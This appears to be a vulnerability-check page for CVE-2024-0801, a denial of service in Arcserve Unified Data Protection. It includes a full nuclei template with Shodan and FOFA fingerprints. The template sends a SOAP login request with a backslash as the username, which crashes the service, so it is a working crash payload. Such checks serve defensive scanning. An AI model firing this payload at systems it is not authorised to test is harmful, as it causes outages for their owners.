Arcserve Unified Data Protection - Unauthenticated DoS in ASNative.dll

highseverity

7.5CVSS score

41.8%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

A denial of service vulnerability exists in Arcserve Unified Data Protection 9.2 and 8.1 in ASNative.dll.

Impact

Attackers can cause system crashes or unavailability, leading to service disruption and potential downtime.

Fix

Update to the latest version of Arcserve Unified Data Protection or apply available patches.

How to confirm it

Send: POST /management/services/EdgeServiceConsoleImpl
Positive when: status_code == 500 and contains(content_type, "text/xml") and contains(body, "Invalid user credentials")
Send: POST /management/services/EdgeServiceConsoleImpl
Positive when: status_code == 503 && contains(body, "<h1>Service Unavailable</h1>") or status_code == 502 && contains(body, "<h1>Proxy Error</h1>")

Run it with nuclei: nuclei -id CVE-2024-0801 -u <target>

The full check

id: CVE-2024-0801

info:
  name: Arcserve Unified Data Protection - Unauthenticated DoS in ASNative.dll
  author: daffainfo
  severity: high
  description: |
    A denial of service vulnerability exists in Arcserve Unified Data Protection 9.2 and 8.1 in ASNative.dll.
  impact: |
    Attackers can cause system crashes or unavailability, leading to service disruption and potential downtime.
  remediation: |
    Update to the latest version of Arcserve Unified Data Protection or apply available patches.
  reference:
    - https://www.tenable.com/security/research/tra-2024-07
    - https://nvd.nist.gov/vuln/detail/CVE-2024-0801
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2024-0801
    epss-score: 0.41843
    epss-percentile: 0.98701
    cwe-id: CWE-75
    cpe: cpe:2.3:a:arcserve:udp:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: arcserve
    product: udp
    shodan-query: http.favicon.hash:1015186617
    fofa-query: icon_hash="1015186617"
  tags: cve,cve2024,arcserve,dos,intrusive,vkev,vuln

flow: http(1) && http(2)

variables:
  user: "{{to_lower(rand_base(6))}}"
  pass: "{{to_lower(rand_base(6))}}"

http:
  - raw:
      - |
        POST /management/services/EdgeServiceConsoleImpl HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml

        <?xml version="1.0" encoding="UTF-8"?><S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/"><S:Body><ns2:validateUserByUser xmlns:ns2="http://webservice.edge.arcserve.ca.com/"><arg0>{{user}}</arg0><arg1>{{pass}}</arg1><arg2>domain</arg2></ns2:validateUserByUser></S:Body></S:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500'
          - 'contains(content_type, "text/xml")'
          - 'contains(body, "Invalid user credentials")'
        condition: and
        internal: true

  - raw:
      - |
        POST /management/services/EdgeServiceConsoleImpl HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml

        <?xml version="1.0" encoding="UTF-8"?><S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/"><S:Body><ns2:validateUserByUser xmlns:ns2="http://webservice.edge.arcserve.ca.com/"><arg0>\</arg0><arg1>{{pass}}</arg1><arg2>domain</arg2></ns2:validateUserByUser></S:Body></S:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 503 && contains(body, "<h1>Service Unavailable</h1>")'
          - 'status_code == 502 && contains(body, "<h1>Proxy Error</h1>")'
        condition: or

References

Use this check only on systems you are authorised to test. Where the data comes from